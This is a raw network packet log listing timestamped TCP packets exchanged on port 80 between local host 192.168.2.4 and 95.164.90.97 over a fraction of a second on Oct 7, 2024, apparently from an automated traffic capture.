Oct 7, 2024 03:15:48.852380991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852395058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852440119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852447033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852493048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852500916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852545023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852550983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852593899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852603912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852638006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852647066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852679968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852691889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852724075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852732897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852761030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852767944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852796078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852807045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852830887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852838993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852874994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852884054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852919102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852926970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852956057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852965117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.852991104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.852997065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853032112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853044987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853081942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853087902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853116989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853117943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853152037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853158951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853187084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853195906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853224993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853230000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853257895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853266954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853295088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853301048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853327990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853334904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853362083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853368044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853395939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853404999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853431940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853439093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853466988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853475094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853504896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853511095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853538990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853545904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853574991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853584051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853607893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853616953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853642941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853648901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853677034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853687048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853714943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853714943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853748083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853756905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853781939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853787899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853816032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853823900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853852034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853862047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853885889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853893995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853920937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853925943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853955984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853965044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.853991032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.853997946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854022980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854032040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854058981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854064941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854089975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854101896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854124069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854127884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854160070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854166031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854195118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854202032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854229927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854237080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854264975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854274988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854302883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854306936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854336977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854342937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854372025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854377031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854406118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854414940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854439974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854446888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854474068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854480982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854509115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854515076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854543924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.854551077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.854583979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.912683010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912751913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912786007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912822008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912864923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912875891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.912899017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912926912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.912936926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.912965059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.913091898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936369896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936403990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936456919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936491966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936508894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936527014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936556101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936564922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936611891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936619043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936646938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936652899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936682940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.936688900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.936753035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937185049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937216043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937243938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937258005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937271118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937305927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937311888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937340021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937346935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937376976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937378883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937412024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937416077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937448025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937453985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937486887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937705994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937747955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937782049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937797070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937803030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937859058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937859058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937901974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937920094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.937933922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.937948942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938005924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938009977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938057899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938062906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938131094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938144922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938172102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938184023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938225985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938244104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938286066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938297987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938332081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938339949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938369036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938374996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938405037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938441992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938452005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938477039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938479900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938499928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938513994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938528061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938544989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938559055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938589096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938596964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938649893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938678026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938724041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938731909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938766003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938776016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938805103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938822031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938872099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938875914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938922882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.938941002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938971043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.938977957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939013958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939023972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939069986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939075947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939120054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939130068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939165115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939169884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939201117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939217091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939253092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939281940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939291954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939316034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939327955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939335108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939378023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939408064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939441919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939451933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939477921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939481974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939517975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939531088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939569950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939583063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939615965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939620972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939646959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939666986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939701080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939707041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939738989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939754963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939793110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939805031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939845085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939857960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939898014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939912081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939945936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939950943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.939977884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.939984083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940011978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940015078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940046072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940048933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940079927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940082073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940114021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940119028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940148115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940151930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940181971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940193892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940221071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940224886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940249920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940259933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940287113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940290928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940321922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940325022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940355062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940360069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940390110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940393925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940423012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940427065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940455914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940462112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940490007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940494061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940524101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940527916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940557957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940562963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940593004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940597057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940625906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940651894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940659046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940670013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940694094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940696955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940730095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940737963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940766096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940774918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940799952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940825939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940834999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940849066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940870047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940886021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940903902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940920115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940938950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940959930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.940973043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.940998077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941006899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941011906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941041946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941049099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941073895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941093922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941107035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941127062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941142082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941164970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941174984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941179037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941211939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941216946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941245079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941250086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941277981 CEST	80	49737	95.164.90.97	192.168.2.4
